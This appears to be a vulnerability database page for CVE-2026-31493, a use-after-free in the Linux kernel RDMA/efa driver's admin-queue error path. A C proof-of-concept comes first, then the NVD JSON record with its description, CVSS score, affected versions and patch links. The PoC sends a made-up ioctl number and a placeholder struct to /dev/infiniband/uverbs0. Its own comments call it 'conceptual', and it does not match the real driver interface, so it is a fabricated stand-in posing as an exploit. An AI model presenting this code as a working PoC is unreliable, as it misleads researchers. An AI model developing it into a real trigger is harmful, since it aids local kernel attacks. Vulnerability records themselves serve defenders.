CVE-2026-31493

/* * PoC for CVE-2026-31493 * This is a conceptual trigger for the EFA admin command error path. * Requires access to /dev/infiniband/uverbsX and specific hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define EFA_CMD_ALLOC_PD 1 int main() { int fd; // Attempt to open the EFA device (path may vary) fd = open("/dev/infiniband/uverbs0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Triggering Admin Queue Error to hit UAF path...\n"); // Craft an invalid command to force error handling in the driver // which leads to printing the freed context. // Note: Actual command structure depends on specific kernel headers. struct efa_admin_cmd { uint64_t id; // ... other fields ... } cmd = { .id = 0xFFFFFFFF }; // Invalid ID // Send ioctl to trigger the vulnerability // In a real scenario, this interacts with the RDMA CM if (ioctl(fd, EFA_CMD_ALLOC_PD, &cmd) < 0) { // Error is expected to trigger the vulnerable path perror("ioctl failed (expected)"); } close(fd); printf("[+] Check kernel logs for potential crash or info leak.\n"); return 0; }

{"cve": {"id": "CVE-2026-31493", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:47.170", "lastModified": "2026-04-28T14:45:56.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/efa: Fix use of completion ctx after free\n\nOn admin queue completion handling, if the admin command completed with\nerror we print data from the completion context. The issue is that we\nalready freed the completion context in polling/interrupts handler which\nmeans we print data from context in an unknown state (it might be\nalready used again).\nChange the admin submission flow so alloc/dealloc of the context will be\nsymmetric and dealloc will be called after any potential use of the\ncontext."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.12.1", "versionEndExcluding": "6.18.21", "matchCriteriaId": "00EAFFC2-EF24-43DB-A137-7A3557D33C50"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.12:-:*:*:*:*:*:*", "matchCriteriaId": "75EB504D-4A83-4C67-9C8D-FD9C6C8EB4CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0dd98aea1c0c45987fa2dd92f988b0eb1a72c125", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1cf95fe5dc5471efea947b4c6f8913da6bc7976e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ef3b06742c8a201d0e83edc9a33a89a4fe3009f8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}